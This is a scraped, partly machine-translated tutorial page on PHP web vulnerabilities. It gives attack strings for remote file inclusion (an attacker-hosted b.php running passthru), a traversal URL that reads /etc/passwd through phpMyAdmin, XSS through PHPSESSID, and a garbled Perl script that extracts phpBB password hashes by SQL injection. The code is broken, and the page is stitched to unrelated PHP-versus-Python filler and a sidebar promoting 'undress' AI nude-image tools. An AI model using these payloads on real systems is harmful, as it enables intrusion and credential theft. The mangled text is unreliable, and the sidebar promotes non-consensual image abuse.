


PHP page vulnerability analysis and related problem solving_PHP tutorial
从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。
我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种。当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
首先,我们来讨论包含文件漏洞。这个漏洞应该说是PHP独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:
以下是引用片段:
include($include."/xxx.php");
?>
在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web服务器应该不能执行php代码,不然就出问题了。相关详情可以去看>)。在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。
接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:http://web/index.php?PHPSESSID=">在script里面我们可以构造函数来获得用户的一些敏感信息。在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。
再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。
最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空。曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。
还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了。将asc改成ASCII,len改成LENGTH,其他函数基本不变了。其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了。PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB。它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好。
Okay, let’s analyze the reasons for the vulnerability. Take the viewtopic.php page as an example. When calling viewtopic.php, the "topic_id" is obtained directly from the GET request and passed to the SQL query command without any filtering. The attacker can submit a special SQL string. Used to obtain the MD5 password. Obtaining this password information can be used for automatic login or brute force cracking. (I think no one would want to brute force it, unless there is a particularly important reason). Let’s take a look at the relevant source code first:
The following is a quotation fragment:
# if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))
# {
# $topic_id=intval($HTTP_GET_VARS[POST_TOPIC_URL]);
🎜>
# $topic_id=intval($HTTP_GET_VARS['topic']); If the value is obtained, the executed query code will look like the following (if you haven’t seen the PHPBB source code yet, it is recommended that you read it and then look here. The affected systems are: phpBB 2.0.5 and phpBB 2.0.4 ).The following is a quote fragment:
# $sql = "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s , " . USERS_TABLE . " u
# WHERE s.session_id = '$session_id'
p.topic_id = $ Topic_id
#and P.post_time & GT; = U.User_lastvisit
#Order by P.post_time ASC
#Limit 1 "; The following test code is provided: use IO::Socket; $remote = shift || 'localhost'; $view_topic = shift || /phpBB2/viewtopic.php'; $uid = shift || 2; $port = 80; $dBType = 'mysql4'; # mysql4 or pgsql print "Trying to get password hash for uid $uid server $remote dbtype: $dBType "; $p = ""; for($index=1 ; $index { $socket = IO::Socket::INET->new(PeerAddr => $remote, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die "Couldnt connect to $remote:$ port: $@ "; $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 "; print $socket $str;print $socket "Cookie: phpBB2mysql_sid=1 "; remote "; while ($answer = ) { if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=
#
{ $p .= chr (); } } close($socket); }{ $c = substr($str,$i,1); $j = rand length($str) * 1000; if (int($j) % 2 || $c eq ' ') {
http://www.bkjia.com/PHPjc/446957.html www.bkjia.com true http: //www.bkjia.com/PHPjc/446957.html TechArticle From the current network security point of view, the WEB page vulnerability that everyone is most concerned about and exposed to should be ASP. In this regard, Xiaozhu is an expert, I have no say. However, from the perspective of PHP, it is also the same...

What’s still popular is the ease of use, flexibility and a strong ecosystem. 1) Ease of use and simple syntax make it the first choice for beginners. 2) Closely integrated with web development, excellent interaction with HTTP requests and database. 3) The huge ecosystem provides a wealth of tools and libraries. 4) Active community and open source nature adapts them to new needs and technology trends.

PHP and Python are both high-level programming languages that are widely used in web development, data processing and automation tasks. 1.PHP is often used to build dynamic websites and content management systems, while Python is often used to build web frameworks and data science. 2.PHP uses echo to output content, Python uses print. 3. Both support object-oriented programming, but the syntax and keywords are different. 4. PHP supports weak type conversion, while Python is more stringent. 5. PHP performance optimization includes using OPcache and asynchronous programming, while Python uses cProfile and asynchronous programming.

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP originated in 1994 and was developed by RasmusLerdorf. It was originally used to track website visitors and gradually evolved into a server-side scripting language and was widely used in web development. Python was developed by Guidovan Rossum in the late 1980s and was first released in 1991. It emphasizes code readability and simplicity, and is suitable for scientific computing, data analysis and other fields.

PHP is suitable for web development and rapid prototyping, and Python is suitable for data science and machine learning. 1.PHP is used for dynamic web development, with simple syntax and suitable for rapid development. 2. Python has concise syntax, is suitable for multiple fields, and has a strong library ecosystem.

PHP remains important in the modernization process because it supports a large number of websites and applications and adapts to development needs through frameworks. 1.PHP7 improves performance and introduces new features. 2. Modern frameworks such as Laravel, Symfony and CodeIgniter simplify development and improve code quality. 3. Performance optimization and best practices further improve application efficiency.

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values and handle functions that may return null values.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

SublimeText3 Linux new version
SublimeText3 Linux latest version

Dreamweaver Mac version
Visual web development tools

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

SublimeText3 Mac version
God-level code editing software (SublimeText3)